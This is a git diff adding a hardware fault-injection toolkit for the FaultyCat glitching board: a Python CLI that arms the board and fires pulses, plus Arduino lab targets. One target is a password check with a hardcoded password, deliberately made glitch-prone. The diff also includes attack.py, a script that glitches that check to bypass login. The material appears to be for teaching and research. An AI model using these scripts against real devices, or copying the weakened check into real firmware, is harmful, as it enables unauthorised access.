+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
new file mode 100644
index 0000000..f503922
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
new file mode 100644
index 0000000..b36d3c6
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
new file mode 100644
index 0000000..34c38f2
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
new file mode 100644
index 0000000..a34e25d
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..127e108
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py
new file mode 100644
index 0000000..3831eec
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py
@@ -0,0 +1,133 @@
+import typer
+import platform
+import signal
+import threading
+import sys
+from rich.console import Console
+from rich.table import Table
+
+from Modules import CmdInterface
+from Modules.CmdInterface import is_valid_number
+from Modules import Worker
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+
+app = typer.Typer(
+    name="FaultyCat",
+    help="Script to control the FaultyCat and launch faulty attacks.",
+    add_completion=False,
+    no_args_is_help=True,
+)
+
+faulty_worker = Worker.FaultyWorker()
+workers = []
+
+
+def signal_handler(sig, frame):
+    print("You pressed Ctrl+C!")
+    faulty_worker.stop_workers()
+    for work in workers:
+        work.join()
+    sys.exit(0)
+
+
+@app.command("config")
+def config():
+    """Get the current configuration of the FaultyCat."""
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+
+    Console().print(table_config)
+
+
+@app.command("devices")
+def devices():
+    """Get the list of available devices."""
+    table_devices = Table(title="Available devices")
+    table_devices.add_column("Device", style="cyan")
+    table_devices.add_column("Description", style="magenta")
+    for device in faulty_worker.board_uart.get_serial_ports():
+        table_devices.add_row(f"{device.device}", f"{device.description}")
+
+    Console().print(table_devices)
+
+
+@app.command("fault")
+def faulty(
+    comport: str = typer.Argument(
+        default=DEFAULT_COMPORT,
+        help="Serial port to use for uploading.",
+    ),
+    pulse_count: int = typer.Option(
+        1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True
+    ),
+    pulse_timeout: float = typer.Option(
+        1.0,
+        "--pulse-timeout",
+        "-t",
+        help="Time in seconds between pulses.",
+        show_default=True,
+    ),
+    cmd: bool = typer.Option(
+        False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True
+    ),
+):
+    """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks."""
+    typer.echo("Configuring the FaultyCat...")
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row("Serial port", f"{comport}")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+    table_config.add_row("Pulse count", f"{pulse_count}")
+    table_config.add_row("Pulse timeout", f"{pulse_timeout}")
+
+    Console().print(table_config)
+
+    faulty_worker.set_serial_port(comport)
+    
+    if cmd:
+        CmdInterface.CMDInterface(faulty_worker).cmdloop()
+        return
+
+    if not faulty_worker.validate_serial_connection():
+        typer.secho(
+            f"FaultyCMD could not stablish connection withe the board on: {comport}.",
+            fg=typer.colors.RED,
+        )
+        return
+
+    faulty_worker.set_pulse_count(is_valid_number(pulse_count))
+    faulty_worker.set_pulse_time(is_valid_number(pulse_timeout))
+
+    faulty_worker.start_faulty_attack()
+
+
+if __name__ == "__main__":
+    print(
+        """\x1b[36;1m
+.@@@%@*%+ -@@+  #@@:  @@% =@@@@%- %@% %+            @=           | 
+.@@-.-.#@+=@@*  %@@- .@@@.@@%:@@@ @@@ %+     :+++-  @*+++-       | FaultyCat v0.0.1
+.@*.=.+@@:=@@*  %@@- .@@@.@@% @@@ @@@ %+    #%:.:## @%:.:##      | by JahazielLem
+.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+    @+   =@.@+   =@.     | Company: PWNLabs - Electronics Cats
+%@%       :#@@@%*#@@@%+  %@* :#@@@#: =%#**=.*####@..*####:       |                                                    
+\x1b[0m"""
+    )
+    signal.signal(signal.SIGINT, signal_handler)
+    app()

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
